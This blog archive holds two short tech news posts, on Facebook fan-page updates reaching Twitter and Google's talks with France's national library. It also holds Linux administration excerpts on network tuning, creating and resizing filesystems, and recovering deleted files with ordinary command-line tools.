Aug 22

On Thursday night, Facebook announced that it’s launched its first official Twitter app–sort of. In a post on the company blog, Facebook announced that updates to "fan pages," public profiles for celebrities, brands, organizations, and what-have-you, can now be sent out through Twitter.

"Public figures, musicians, businesses and organizations of all types who’ve created Facebook Pages often want to share a status update, a photo or an event with as many of their supporters as possible," the post by Facebook employee Michael Gummelt read. "Celebrities may want to share personal news or charities may want to put out calls for help to both their Facebook fans and their Twitter followers, all at the same time."

This is basically something that many blogging and publishing services already do: offer a way to automatically syndicate a short blurb and a link onto Twitter. It’s a no-brainer. But Facebook and Twitter have a complicated history. Facebook attempted to acquire Twitter last year, and Twitter turned the offer down. Then, earlier this summer, Facebook did acquire FriendFeed, a social-network aggregator that failed to gain mainstream traction but pioneered many of the real-time, streaming features that are now central to both Facebook and Twitter.

Relations between the two companies still seem to be a bit shaky. Facebook continues to roll out Twitter-inspired features like a souped-up search engine, a revamped "publisher" tool that can make status updates selectively public, and soon a stripped down "Facebook Lite" site that looks quite a bit like the ultra-basic Twitter.

Much has been said about Facebook and Twitter as the two forces vying for control of the real-time social Web, but little light has been shed on just how central a role the marketing industry has. The fact that Facebook’s first Twitter app is exclusively for its brand-marketing "fan pages" highlights this. In the digital marketing world, the buzzworthy place for brands to be right now is Twitter–especially since this week Twitter started to elaborate plans for the paid accounts it’s going to offer to businesses by the end of the year. If Facebook is going to continue to court brands effectively, it has to offer a quick and easy way to plug into that all-important "Twitter strategy."

What’s less clear is whether Facebook will let ordinary users syndicate their profile updates to Twitter. Currently, they can bring in plenty of data from elsewhere thanks to Facebook’s third-party developer API. You can import a Twitter feed into Facebook status updates or use third-party clients like TweetDeck to update Twitter status and Facebook status simultaneously, but you still can’t opt to publish your Facebook profile updates elsewhere.

Tagged with:
Aug 21

Some of the diagnostic techniques described in the preceding section, "Testing Network Performance," suggest fixes for problems, such as contacting the operator of a router that’s not performing well or fixing a misconfigured /etc/resolv.conf file. This section covers three additional measures you can take to improve performance. Two relate to low-level TCP/IP settings. These values are normally set reasonably, so tweaking them won’t help in most cases, but it can help on some networks. The third option, running local servers, can improve performance when you rely on outside servers that you could as easily run closer to home.

Setting the MTU Size

Like most computer protocols, TCP/IP was designed with flexibility in mind. One negative consequence of flexibility is that when different systems implement a protocol using different defaults, the two systems may not interact as efficiently as when the two systems use the same defaults. One point of flexibility in TCP/IP is the maximum transfer unit (MTU) size, which is the maximum size of data packets it sends. You can learn the MTU for your system by using ifconfig:

$ ifconfig eth0 | grep MTU
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

This command displays the MTU, among other information. Ideally, all the computers on your LAN should use the same MTU. Linux’s default value for Ethernet networks is 1,500 bytes, and this value is common on many other OSs, as well. If a device on your network uses an MTU smaller than others, transfers involving that device may be slowed down slightly, particularly if the devices communicate through another device (such as a router). Such communication may require packets to be broken up. For instance, some ADSL connections use an MTU of 1,492 bytes, meaning that 1,500-byte packets must be split into two: one 1,492-byte packet and another 8-byte packet. If the originating computer had used a 1,492-byte or smaller MTU, the split wouldn’t be necessary. Of course, an 8-byte packet takes less time to send than does a 1,492-byte packet, so this conversion doesn’t double transmission time, but the extra overhead does degrade performance somewhat.

For the most part, MTU size isn’t a big deal in Linux, because Linux uses a technique known as path MTU discovery to determine the MTU on a site-by-site basis. If the initial MTU used for a connection is too high, Linux throttles it back until it works, thereby optimizing the connection. You can verify that path MTU discovery is enabled on your system by typing this command:

$ cat /proc/sys/net/ipv4/ip_no_pmtu_disc
0

A return value of 0 means that path MTU discovery is working; 1 means that this feature is disabled. You can use echo to copy a value into this pseudo-file if you want to change this option.

If you know that your system should use an MTU that’s smaller than it does by default, you can alter the MTU by using the mtu option to ifconfig:

# ifconfig eth0 mtu 1492

This example sets the MTU to 1,492 bytes, as might be appropriate if your system is on a LAN that uses an ADSL account with an MTU of 1,492. Setting this option in a startup script may slightly improve performance, even when your computer performs path MTU discovery; it won’t try a 1,500-byte MTU that’s destined to fail.

Setting the Send and Receive Window Sizes

A TCP data transfer isn’t a one-way affair; the sending computer sends data packets but expects to hear back from the recipient about the success of the data transfer. Suppose that these operations were to occur in serial—that is, the sender sends a packet, the recipient acknowledges receipt of the packet, and only then does the sender send a second packet. In this scenario, the transmission would be slowed down by the latencies involved in the connection. For instance, consider a 1Mbps connection with a 100ms round-trip latency and a packet size of 1,500 bytes. At time 0, the sender begins sending the packet. At 50ms (half the ping time), the recipient begins to receive the packet, but at 1Mbps, a 1,500-byte packet takes 12ms to arrive. Assuming an instantaneous response, that means the recipient can begin to send a response at 62ms. That response arrives at the sender’s system at 112ms. (The response is likely to be much shorter than 1,500 bytes, so we can assume it arrives much more quickly than 12ms.) If the sender can’t send a packet until receiving a reply, the sender will end up spending 12ms of every 112ms actually sending data, reducing the 1Mbps link to a 107Kbps (0.107Mbps) connection.

The solution to this problem is the negotiation of a receive window, which is the number of bytes that a system will accept before sending an acknowledgment, and a send window, which is the number of bytes it will send before requiring an acknowledgment. By setting these values high enough, you enable the sender to deliver data more-or-less continuously. Unfortunately, the optimum window size depends on the latency and throughput between the two computers—it should be at least as many bytes as your system can receive during the round-trip latency (that is, the ping time) between the systems. Table 1 summarizes the minimum window sizes you should use for different speeds and latencies. Entries in this table are derived from the formula size = bandwidth × latency, where size is the window size in bits, bandwidth is the throughput speed in bits per second, and latency is the ping time in seconds. (Table 1′s rows and columns specify latencies in milliseconds, throughput in megabits per second, and window size in kilobytes, though.)

Table 1: Minimum Send and Receive Window Sizes

Latency (ms)

1Mbps Throughput

2Mbps Throughput

4Mbps Throughput

8Mbps Throughput

50

6KB

12KB

24KB

49KB

100

12KB

24KB

49KB

98KB

150

18KB

37KB

73KB

146KB

200

24KB

49KB

98KB

195KB

300

37KB

73KB

146KB

293KB

400

49KB

98KB

195KB

391KB

500

61KB

122KB

244KB

488KB

 

Linux’s default window size is 64KB, which is enough for most connections. LAN speeds are off the chart as far as Table 1 is concerned, but consider a 100Mbps Ethernet network with 1ms latencies. The size = bandwidth × latency formula suggests a minimum receive window size of 12.2KB, so a 64KB window size is quite adequate. On broadband and other always-on Internet connections, latencies for connections on the same continent are usually 100ms or less, and connections seldom exceed 4Mbps. If your Internet connection is unusually speedy, though, you may want to consider a larger receive window size. Another extreme case is a satellite connection, which has very high latencies. Assuming a typical 500ms latency, a 61KB window size should be adequate for a 1Mbps connection.

If you believe your system’s performance is suffering because of a window size that’s too small, you can adjust it in either of two ways:

Using route Options  The route command adds routes to the Linux routing table. You can locate your system’s call to route (most likely in one of the scripts referenced in Table 1) and modify that call to include the window W parameter, where W is the window size in bytes.

Setting /proc Filesystem Options  You can set the default and maximum send and receive window sizes using entries in the /proc/sys/net/core directory. Specifically, rmem_default and rmem_max set the default and maximum receive window sizes, while wmem_default and wmem_max set the default and maximum send window sizes. For instance, typing echo "131072" > /proc/sys/net/core/rmem_max sets the maximum receive window size to 128KB.

In order to be effective, both your system and the one with which it’s communicating must support the larger size. For this reason, this adjustment may be ineffective if the remote system uses a 64KB or smaller window size.

Running Servers Locally

Accessing certain servers on the Internet at large is common, but running equivalents on your local network, or even on a workstation, can improve performance in some cases. Examples of servers you might want to run locally include:

Web Proxy Servers  A proxy server is a stand-in for another server; it accepts requests for data transfers, processes them partially, and passes them on to other systems. Proxy servers exist for many reasons, including security, filtering unwanted content, and improving speed. Speed improvements in web proxy servers derive from two factors. First, proxy servers can cache access requests, speeding up second and subsequent requests for a document. The Squid proxy server (http://www.squid-cache.org) exists largely for this reason. Second, a proxy that filters content can remove large images that can take a long time to download. Proxies designed to remove ads, such as Privoxy (http://www.privoxy.org), have this effect.

DNS Servers  Running your own DNS server can speed up DNS accesses for much the same reason that running a caching web proxy server can speed accesses.

Mail Servers  If you receive lots of e-mail from an ISP’s mail server, you may wait for it to download into your mail reader. You can use a local mail server in conjunction with Fetchmail (http://catb.org/~esr/fetchmail/) to speed up local mail accesses. Fetchmail can periodically retrieve mail and store it locally, so that you don’t need to wait so long when you load up your mail reader. The downside is that you won’t see any mail that’s arrived at your ISP between Fetchmail’s last run and the time you launch your mail reader.

News Servers  If you read Usenet news, you can run a local news server that does for news what the combination of Fetchmail and a local mail server does for e-mail. An example of such a program is Leafnode (http://www.leafnode.org). News servers designed for this purpose are much smaller than full-blown news servers. In some configurations, the local news server may download  much more data than you’ll ever read, but it will do so quickly, so the total time you’re connected to the news server can be much shorter than it might otherwise be. This approach is most appealing if you’re charged by the minute for your Internet connect time.

Warning

You should balance the benefits gained from running servers locally against the potential damage they might do. In some cases, the risk is very low. For instance, a server run behind a Network Address Translation (NAT) firewall is unlikely to be found and abused by an outside miscreant. If the system on which you run a server is directly exposed to the Internet, though, the risk of running such a server is much greater.

Tagged with:
Aug 20

If you’ve already installed Linux, your partitions are already set up and configured with particular filesystems. You may decide you want to modify this configuration, though. Some changes are tedious to implement. For instance, changing from one filesystem to another requires you to back up, create a new filesystem, and restore your files. One exception to this rule is changing from ext2fs to ext3fs. If you switch filesystems, you may be able to use filesystem-creation options to improve the performance of the new filesystem. Other changes can also be done relatively painlessly. These include defragmenting a disk (that is, repositioning file contents so that they’re not spread out over the entire partition) and resizing partitions to give you space where you need it.

Creating a Filesystem for Optimal Performance

Most filesystems support a variety of options that may impact performance. For instance, large allocation blocks can improve performance by reducing fragmentation and the number of operations needed to retrieve an entire file. Some of these options can be set only at filesystem creation time, but some can be changed after the fact. Not all of these features are available in all filesystems. Across all Linux filesystems, important and popular performance-enhancing (or performance-degrading) options include:

Allocation Block Size  As noted in the earlier section, "Minimizing Space Consumption," small allocation blocks can facilitate more efficient use of disk space, but the cost is a small degradation in disk-access speed. Therefore, to improve performance slightly, you can increase your block size. This option is not easily changed after creating a filesystem. With ext2fs or ext3fs, you can use the -b block-size option to mke2fs; with XFS, the -b size=block-size option to mkfs.xfs does the job. For ext2fs and ext3fs, block-size must be 1024, 2048, or 4096; with XFS, the block size can theoretically be any power-of-two multiple of 512 bytes up to 64KB (65536 bytes), although in practice you can only mount a filesystem with block sizes up to 4KB or 8KB using common CPUs. ReiserFS and Linux’s version of JFS do not yet support adjusting this feature.

Journaling Options  All the journaling filesystems support various journal options. One common option is the location of the journal. By placing the journal on a separate physical disk from the main filesystem, you can improve performance (provided the target disk isn’t too sluggish itself). You can use the -J device=journal-device option in mke2fs or the -j journal-device option in mkreiserfs or mkfs.jfs to set this feature. Ext3fs also supports setting the journal size with the -J size=journal-size option, where journal-size is specified in megabytes and must be between 1,024 and 102,400 filesystem blocks. Specifying a too-small journal may degrade performance, but setting one too large may rob you of too much disk space. If in doubt, let mke2fs decide on the journal size itself.

Reserved Blocks  Ext2fs and ext3fs reserve a number of blocks for use by the superuser (or some other user you specify). The default value of 5 percent reserved space may be overkill on large partitions or on less critical partitions (such as /home). You can gain a bit more space by using the -m reserved-percentage option to mke2fs. Changing this percentage won’t affect actual disk performance, but it may gain you just a bit more available disk space. You can change this option after you create a filesystem by passing the same parameter that mke2fs accepts to the tune2fs program, as in tune2fs -m 1 /dev/hda4 to set the reserved blocks percentage to 1.

Check Interval  Ext2fs and ext3fs force a filesystem check after a specified number of mounts or a specified amount of time between mounts. The idea is to catch errors that might creep onto the filesystem due to random disk write errors or filesystem driver bugs. You can change these intervals by using the -c max-mount-counts and -i interval-between-checks options to tune2fs. For the latter option, you specify an interval in days, weeks, or months by providing a number followed by a d, w, or m, respectively. Altering the check interval won’t modify day-to-day performance, but it will change how frequently the computer performs a full disk check on startup. This disk check can be quite lengthy, even for ext3fs; it doesn’t restrict itself to recent transactions as recorded in the journal, as a forced check after a system crash does.

Directory Hash  ReiserFS uses a sorted directory structure to speed directory lookups, and mkreiserfs provides several options for the hash (a type of lookup algorithm) used for this purpose. You set this option with the -h hash option to mkreiserfs, where hash can be r5, rupasov, or tea. Some hashes may yield improved or degraded performance for specific applications. The Squid Web proxy documentation suggests using the rupasov hash, whereas the qmail documentation recommends r5, for instance. One problem with the r5 and rupasov hashes is that they can greatly slow file creation in directories with very many (a million or so) files. In fact, rupasov is very prone to such problems, and so should be avoided on most systems. The tea hash is much less subject to this problem, but it is also much slower than r5 for directories with more typical numbers of files. In general, you should use the default r5 hash unless you know you’ll be creating many files or the disk will be used by one performance-critical application, in which case checking the application’s documentation or doing a web search for advice may be worthwhile.

Inode Options  XFS enables you to set the inode size at filesystem creation time using the -i size=value option to mkfs.xfs. The minimum and default size is 256 bytes; the maximum is 2,048 bytes. (The inode size can’t exceed half the allocation block size, though.) One impact of the inode size option relates to small file access times; because XFS tries to store small files within the inode whenever possible, specifying a large inode enables storing larger files within the inode. Doing so will speed access to these files. Therefore, if a partition will store many small files (under 2KB), you may want to increase the inode size. Depending on the exact mix of file sizes, the result may save or waste disk space. If few files will be smaller than 2KB, there’s little point to increasing the inode size.

The default filesystem creation options usually yield acceptable performance. Modifying these options can help in some unusual cases, such as filesystems storing huge numbers of files or a computer that’s restarted frequently. I don’t recommend trying random changes to these options unless you intend to run tests to discover what works best for your purposes.

Converting Ext2fs to Ext3fs

One of the advantages of ext3fs over the other journaling filesystems is that it’s easy to turn an existing ext2 filesystem into an ext3 filesystem. You can do this using the tune2fs program and its -j option:

# tune2fs -j /dev/hda4

If the filesystem to which you add a journal is mounted when you make this change, tune2fs creates the journal as a regular file, called .journal, in the filesystem’s root directory. If the filesystem is unmounted when you run this command, the journal file doesn’t appear as a regular file. In either case, the filesystem is now an ext3 filesystem, and it can be used just as if you created it as an ext3 filesystem initially. If necessary, you may be able to access the filesystem as ext2fs (say, using a kernel that has no ext3fs support); however, some older kernels and non-Linux utilities may refuse to access it in this way, or they may provide merely read-only access.

On rare occasion, an ext3 filesystem’s journal may become so corrupted that it interferes with disk recovery operations. In such cases, you can convert the filesystem back into an ext2 filesystem using the debugfs tool:

# debugfs -w /dev/sda4
debugfs 1.32 (09-Nov-2002)
debugfs:  features -needs_recovery -has_journal
Filesystem features: dir_index filetype sparse_super
debugfs:  quit

After performing this operation, you should be able to use fsck.ext2 with its -f option, as described in the upcoming section, "Filesystem Check Options," to recover the filesystem. The newly-deactivated journal will cause fsck.ext2 to report errors even if the filesystem did not previously have them. If you like, you can then add the journal back by using tune2fs, as just described.

Warning

Don’t try to remove the journal from a mounted filesystem.

Defragmenting a Disk

Microsoft filesystems, such as the File Allocation Table (FAT) filesystem and the New Technology File System (NTFS), suffer greatly from disk fragmentation—the tendency of files to be broken up into many noncontiguous segments. Disk fragmentation degrades performance because the OS may need to move the disk head more frequently and over greater distances to read a fragmented file than to read a nonfragmented file.

Fortunately, Linux’s native filesystems are all far more resistant to fragmentation than are Windows filesystems. Therefore, most Linux users don’t bother defragmenting their disks. In fact, defragmentation tools for Linux are hard to come by. One that does exist is called defrag, but this package doesn’t ship with most distributions. Because it is an older tool, it won’t work with most modern ext2fs partitions, much less any of the journaling filesystems.

If you think your system may be suffering from fragmentation problems, you can at least discover how fragmented your ext2 or ext3 filesystems are by performing an fsck on them. You may need to force a check by using the -f parameter. This action will produce, among other things, a report on the fragmentation on the disk:

/dev/hda5: 45/8032 files (2.2% non-contiguous), 4170/32098 blocks

This report indicates that 2.2 percent of the files are noncontiguous (that is, fragmented). Such a small amount of fragmentation isn’t a problem. Unfortunately, the fsck tools for other journaling filesystems don’t return this information, so you have no indicator of fragmentation on these filesystems. If you truly believe that fragmentation has become a problem, you may be able to improve matters by backing up the partition, creating a fresh filesystem, and then restoring the files. This procedure is likely to take far longer than the time saved in disk accesses over the next several months or years, though, so I only recommend doing it if you want to change filesystem types or have some other reason (such as replacing a hard disk) to engage in this activity.

Note

As a general rule, fragmentation becomes a problem only if your disk is almost full. On a nearly full disk, Linux may have trouble locating a large enough block of free space to fit a file without fragmenting it. If you almost fill a disk and then delete files, the remaining files may or may not be fragmented, depending on which ones you deleted. For this reason, keeping your partitions from filling up is best. As a general rule, anything less than 80 to 90 percent full is fine from a fragmentation perspective.

Resizing Filesystems

All too frequently, you discover only after installing Linux that your partitions aren’t the optimum size. For instance, you might have too much room in /usr and not enough room in /home. Traditional fixes for this problem include using symbolic links to store some directories that are nominally on one partition on another partition; and backing up, repartitioning, and restoring data. In many cases, a simpler approach is to use a dynamic partition resizer. Fortunately, partition resizers exist for the most popular Linux filesystems, as well, so you can use these tools to manage your Linux installation.

Warning

Dynamic partition resizers are inherently dangerous. In the event of a power outage, system crash, or bug, they can do serious damage to a partition. You should always back up the data on any partition you resize. Also, you should never run a dynamic partition resizer on a partition that’s currently mounted. If necessary, boot a Linux emergency system to resize your partitions.

Resizing Ext2fs and Ext3fs

Several tools exist to resize ext2 and ext3 filesystems:

resize2fs  This program ships with the e2fsprogs package included with most distributions. The resize2fs program is fairly basic in terms of options. At a minimum, you pass it the device file associated with the partition, as in resize2fs /dev/hda4. This command resizes the filesystem on /dev/hda4 to match the size of the partition. You can also pass the partition size in allocation blocks, as in resize2fs /dev/hda4 256000 to resize a filesystem to 256,000 blocks. The resize2fs program doesn’t resize partitions, just the filesystems they contain. Therefore, you must use resize2fs in conjunction with fdisk to resize a partition and its filesystem. If you want to shrink a filesystem, you should do so first and then use fdisk to shrink the partition to match. If you want to grow a partition, you use fdisk first and then resize2fs. Because getting filesystem and partition sizes to match is tricky, it’s usually best to forgo resize2fs in favor of GNU Parted or PartitionMagic.

GNU Parted  This program provides both filesystem and partition resizing at once, so it’s easier to use than resize2fs. It’s described in more detail shortly, in "Using GNU Parted."

PartitionMagic  This commercial program from PowerQuest (http://www.powerquest.com) supports integrated filesystem and partition resizing operations of FAT, NTFS, ext2fs, ext3fs, and Linux swap partitions. PartitionMagic is easier to use than other ext2fs and ext3fs partition resizers, but it runs only from DOS or Windows. (The package ships with a DOS boot floppy image and a bootable CD-ROM, so it’s still useable on a Linux-only system.)

Resizing ReiserFS

Two tools are available for resizing ReiserFS:

resize_reiserfs  This tool is ReiserFS’s equivalent of the resize2fs program. Like resize2fs, resize_reiserfs resizes the filesystem, but not the partition in which it resides, so you must use this tool in conjunction with fdisk. If you only pass the program the partition identifier, it resizes the filesystem to fit the partition. If you pass an -s option and filesystem size, the program resizes the partition to the requested size, which you can specify in bytes, kilobytes, megabytes, or gigabytes (the last three options require K, M, or G suffixes, respectively). Alternatively, you can specify a change to the partition size by prefixing the size with a minus (-) or plus (+) sign. For instance, resize_reiserfs -s -500M /dev/sda5 reduces the size of the filesystem on /dev/sda5 by 500MB.

GNU Parted  According to its web page, this program supports ReiserFS as well as other filesystems. Unfortunately, as of version 1.6.4, this support is more theoretical than real, because it relies on libraries that aren’t present on most distributions, and that even a fresh build can’t find when everything’s installed according to directions. With luck, though, this support will improve in the future.

The ReiserFS resizing tools are not as mature as are those for resizing ext2 and ext3 filesystems. In fact, resize_reiserfs displays warnings about the software being beta.

Resizing XFS

XFS has long included a partition-resizing tool, xfs_growfs. As the name implies, this program is designed for increasing a filesystem’s size, not decreasing it. Unlike most partition-resizing tools, xfs_growfs is designed to work only on a mounted filesystem. The safest way to use it is to unmount the filesystem, delete the partition using fdisk, create a new partition in its place, mount the filesystem, and then call xfs_growfs:

# xfs_growfs /mount/point

As you might guess, /mount/point is the partition’s mount point. You may also add the -D size option to specify the filesystem size in allocation blocks. Various other options are also available, as described in the xfs_growfs man page.

Although GNU Parted’s web page doesn’t mention XFS support, the source code does include an XFS subdirectory. Parted refuses to work on XFS partitions, but this may change in the future.

Resizing JFS

JFS includes a rather unusual partition-resizing ability: It’s built into the kernel’s JFS driver. You can use this feature to increase, but not to decrease, the size of the filesystem. As with most other partition-resizing tools, you must modify the partition size first by using fdisk to delete the partition and then recreate it with a larger size. After you’ve done this, you should mount the partition as you normally do and then issue the following command:

# mount -o remount,resize /mount/point

This command resizes the filesystem mounted at /mount/point to occupy all the available space in its partition. No other partition-resizing tools are available for JFS, although there is a JFS subdirectory in the GNU Parted source code, suggesting that Parted may support JFS in the future.

Using GNU Parted

Because Parted is the most sophisticated open source partition resizer, it deserves more attention. You can pass it a series of commands directly or use it in an interactive mode. The latter is more likely to be helpful for normal one-time uses. Passing commands to Parted enables you to write scripts to help automate partition resizing. Typically, you launch Parted in interactive mode by typing the program’s name followed by the device on which you want to operate. You can then type commands to resize, create, delete, and otherwise manipulate partitions:

# parted /dev/sda
(parted) print
Disk geometry for /dev/scsi/host0/bus0/target5/lun0/disc: 0.000-96.000 megabytes
Disk label type: msdos
Minor    Start       End     Type      Filesystem  Flags
1          0.023     48.000  primary   ext2
2         48.000     96.000  primary   ext2
(parted) rm 2
(parted) resize 1 0.00 96.00
(parted) quit

This example deletes the second partition on the disk and resizes the first partition to fill all the available space. Unlike most Linux partition-management tools, Parted works in figures of megabytes. This fact can make translating Parted’s partition start and end points to and from the cylinder boundaries upon which fdisk and other tools work tricky. Table 1 summarizes some of the most common and important Parted commands. Although many commands nominally require arguments, in practice they don’t; instead, they prompt for the required information when Parted is run in interactive mode. The part-type code is p for primary partitions, e for extended partitions, and l for logical partitions.

Table 1: Common Parted Commands

Parted Command

Effect

help [command]

Displays information on how to use a command. If the command option is omitted, it displays a summary of all commands.

mkfs partn fstype

Creates a filesystem of fstype on partition number partn.

mkpart part-type [fstype] start end

Creates a partition, giving it the partition type code part-type, with start and end as its start and end points.

mkpartfs part-type fstype start end

Works like mkpart, but also creates a filesystem in the new partition.

move partn start end

Moves the partition to a new location on the disk.

print [partn]

Displays the partition table or, if partn is specified, more detailed information on the partition.

rescue start end

Attempts to recover a partition that was deleted.

resize partn start end

Resizes the specified partition to the specified size.

rm partn

Deletes the specified partition.

select device

Begins editing a new disk device.

 

Resizing Partitions

Most of the filesystem-resizing tools require that you modify the partition using fdisk. (GNU Parted and PartitionMagic are exceptions to this rule.) Precisely how you modify the filesystem’s carrier partition depends on whether you’ll be shrinking or growing the partition. The simplest case is growing a partition. When doing this, you should follow these steps:

  1. Launch fdisk on the disk in question.

  2. Type d in fdisk to delete the partition you want to grow. You’ll be asked for the partition number.

  3. Type n in fdisk to create a new partition in place of the old one. You’ll be asked for the partition number and the start and end cylinders. The start cylinder must be the same as it was originally, and of course the end cylinder should be larger than the original.

  4. Type w in fdisk to write your changes to disk and exit.

  5. Follow the procedure for your filesystem-resizing tool to increase the filesystem size.

Of course, in order to grow a partition, there must be free space on the disk into which to expand the partition. This normally means that you’ll have already deleted or shrunk a partition that follows the one you want to expand. If you want to expand a filesystem into space that’s before it on the disk, your job is much harder. It’s possible to expand the carrier partition as just described, but specifying an earlier starting point, and then use dd to copy a filesystem from later in the new partition to earlier in the partition. This task is tricky, though, because you must compute precisely how far into the newly expanded partition the existing filesystem begins. An error can easily wipe out all your data. Thus, I don’t recommend attempting this task; instead, try creating a new filesystem in the earlier space and mount it at some convenient place in your directory tree. If the empty space is larger than the partition you want to move, you can create a new partition, move the original, verify that the copied partition is intact, delete the original partition, and expand the copied partition and the filesystem it contains.

In order to reduce the size of the filesystem, you must match the size of the partition to the filesystem, which can be a tricky task. Fortunately, there is a procedure that can make this task less error-prone:

  1. Shrink the filesystem, using your filesystem-resizing tool, to a value that’s smaller than you intend. For instance, if you want to shrink a 700MB partition to 500MB, shrink it to 400MB.

  2. Use fdisk to resize the partition to the target size, such as 500MB. This target size should be larger than the filesystem by a wide enough margin to be comfortable.

  3. Use the partition-resizing tool to expand the filesystem into the extra space on the partition, filling it exactly.

As with increasing the size of the filesystem, the start point of the filesystem must remain untouched. When moving space between filesystems, this requirement can create an awkward situation: You can shrink an earlier partition, but expanding the next partition into the freed space is risky.

Tagged with:
Aug 19

Google is about to sign a deal with the French national library to grant patrons access to Google’s archive of scanned books, according to a report.

France’s La Tribune reported Tuesday (spotted by The Times Online) that the Bibliotheque Nationale de France has all but given up on its own attempt to create a digital library in partnership with other European countries, paving the way for Google Book Search to get a foothold on the continent. Google declined to comment on whether a deal had been reached, providing this statement: "Like we’ve always said, we’d be delighted to work with a prestigious institution such as the BNF and are currently in talks with them, but have nothing to announce at this time."

At one point, the BNF had hoped to create a counterweight to Google’s digital book ambitions, fearing that English works would dominate those created by non-English speakers and "place interpretation of French and other continental European literature, history, philosophy and even politics in American hands," according to a 2005 New York Times article. But Quarero, the result of that initiative, has not really gotten off the ground and on a limited budget, couldn’t really hope to compete with the resources Google has devoted to scanning books.

So, the BNF is taking a "if you can’t beat them, join them" strategy, according to the reports. A BNF representative told The Times Online that it won’t stop its own digitization efforts but plans to add Google’s archives to its own.

Back in the U.S., the waiting period for Google’s settlement with book publishers that will enable the project to move forward is almost done, with a September deadline for authors to opt out of the settlement looming. A final hearing is scheduled for October.

Tagged with:
Aug 18

Recovering Deleted Files

Perhaps the most common type of filesystem problem is files that are accidentally deleted. Users frequently delete the wrong files or delete a file only to discover that it’s actually needed. Windows system users may be accustomed to undelete utilities, which scour the disk for recently deleted files in order to recover them. Unfortunately, such tools are rare on Linux. You can make undeletion easier by encouraging the use of special utilities that don’t really delete files, but instead place them in temporary holding areas for deletion later. If all else fails, you may need to recover files from a backup.

Trash Can Utilities

One of the simplest ways to recover "deleted" files is to not delete them at all. This is the idea behind a trash can—a tool or procedure to hold onto files that are to be deleted without actually deleting them. These files can be deleted automatically or manually, depending on the tool or procedure. The most familiar form of trash can utility for most users, and the one from which the name derives, is the trash can icon that exists in many popular GUI environments, including KDE and GNOME. To use a GUI trash can, you drag files you want to delete to its icon. The icon is basically just a pointer to a specific directory that’s out of the way or hidden from view, such as ~/Desktop/Trash or ~/.gnome-desktop/Trash. When you drag a file to the trash can, you’re really just moving it to that directory. If you subsequently decide you want to undelete the file, you can click or double-click the trash can icon to open a file browser on the trash directory. This enables you to drag the files you want to rescue out of the trash directory. Typically, files are only deleted from the trash directory when you say so by right-clicking the trash can icon and selecting an option called Empty Trash or something similar.

When you’re working from the command line, the rm command is the usual method of deleting files, as in rm somefile.txt. This command doesn’t use anything akin to the trash directory by default, and depending on your distribution and its default settings, rm may not even prompt you to be sure you’re deleting the files you want to delete. You can improve rm’s safety considerably by forcing it to confirm each deletion by using the -i option, as in rm -i somefile.txt. In fact, you may want to make this the default by creating an alias in your shell startup scripts, "Mastering Shells and Shell Scripting." For instance, the following line in ~/.bashrc or /etc/profile will set up such an alias for bash:

alias rm='rm -i'

This configuration can become tedious if you use the -r option to delete an entire directory tree, though, or if you simply want to delete a lot of files by using wildcards. You can override the alias by specifying the complete path to rm (/bin/rm) when you type the command.

Forcing confirmation before deleting files can be a useful preventive measure, but it’s not really a way of recovering deleted files. One simple way to allow such recovery is to mimic the GUI environments’ trash cans—instead of deleting files with rm, move them to a holding directory with mv. You can then empty the holding directory whenever it’s convenient. In fact, if you use both a command shell and a GUI environment that implements a trash can, you can use the same directory for both.

If you or your users are already familiar with rm, you may find it difficult to switch to using mv. It’s also easy to forget how many files have been moved into the trash directory, and so disk space may fill up. One solution is to write a simple script that takes the place of rm, but that moves files to the trash directory. This script can simultaneously delete files older than a specified date or delete files if the trash directory contains more than a certain number of files. Alternatively, you could create a cron job to periodically delete files in the trash directory. An example of such a script is saferm, which is available from http://myocard.com/sites/linker/pages/linux/saferm.html. To use saferm or any similar script, you install it in place of the regular rm command, create an alias to call the script instead of rm, or call it by its true name. For instance, the following alias will work:

alias rm='saferm'

In the case of saferm, the script prompts before deleting files, but you can eliminate the prompt by changing the line that reads read answer to read answer=A and commenting out the immediately preceding echo lines. The script uses a trash directory in the user’s home directory, ~/.trash. When users need to recover "deleted" files, they can simply move them out of ~/.trash. This specific script doesn’t attempt to empty the trash bin, so users must do this themselves using the real rm; or you or your users can create cron jobs to do the task.

File Recovery Tools

Undelete utilities for Linux are few and far between. The Linux philosophy is that users shouldn’t delete files they really don’t want to delete, and if they do, they should be restored from backups. Nonetheless, in a pinch there are some tricks you can use to try to recover accidentally deleted files.

Note

Low-level disk accesses require full read (and often write) privileges to the partition in question. Normally, only root has this access level to hard disks, although ordinary users may have such access to floppies. Therefore, normally only root may perform low-level file recoveries.

One of these tricks is the recover utility, which is headquartered at http://recover.sourceforge.net/linux/recover/ and available with most Linux distributions. Unfortunately, this tool has several drawbacks. The first is that it was designed for ext2fs, and so it doesn’t work with most journaling filesystems. (It may work with ext3fs, though.) Another problem is that recover takes a long time to do anything, even on small partitions. I frequently see network programs such as web browsers and mail clients crash when recover runs. Finally, in my experience, recover frequently fails to work at all; if you type recover /dev/sda4, for instance, to recover files from /dev/sda4, the program may churn for a while, consume a lot of CPU time, and return with a Terminated notice. In sum, recover isn’t a reliable tool, but you might try it if you’re desperate. If you do try to run it, I recommend shutting down unnecessary network-enabled programs first.

Another method of file recovery is to use grep to search for text contained in the file. This approach is unlikely to work on anything but text files, and even then it may return a partial file or a file surrounded by text or binary junk. To use this approach, you type a command such as the following:

# grep -a -B5 -A100 "Dear Senator Jones" /dev/sda4 > recover.txt

This command searches for the text Dear Senator Jones on /dev/sda4 and returns the five lines before (-B5) and the 100 lines after (-A100) that string. The redirection operator stores the results in the file recover.txt. Because this operation involves a scan of the entire raw disk device, it’s likely to take a while. (You can speed matters up slightly by omitting the redirection operator and instead cutting and pasting the returned lines from an xterm into a text editor; this enables you to hit Ctrl+C to cancel the operation once it’s located the file. Another option is to use script to start a new shell that copies its output to a file, so you don’t need to copy text into an editor.) This approach also works with any filesystem. If the file is fragmented, though, it will only return part of the file. If you misjudge the size of the file in lines, you’ll either get just part of the file or too much—possibly including binary data before, after, or even within the target file.

Restoring Files from a Backup

"Protecting Your System with Backups," describes system backup procedures. That chapter also includes information on emergency recovery procedures—restoring most or all of a working system from a backup. Such procedures are useful after a disk failure, security breach, or a seriously damaging administrative blunder. System backups can also be very useful in restoring deleted files. In this scenario, an accidentally deleted file can be restored from a backup. One drawback to this procedure is that the original file must have existed prior to the last regular system backup. If your backups are infrequent, the file might not exist. Even if you make daily backups, this procedure is unlikely to help if a user creates a file, quickly deletes it, and then wants it back immediately. A trash can utility is the best protection against that sort of damage.

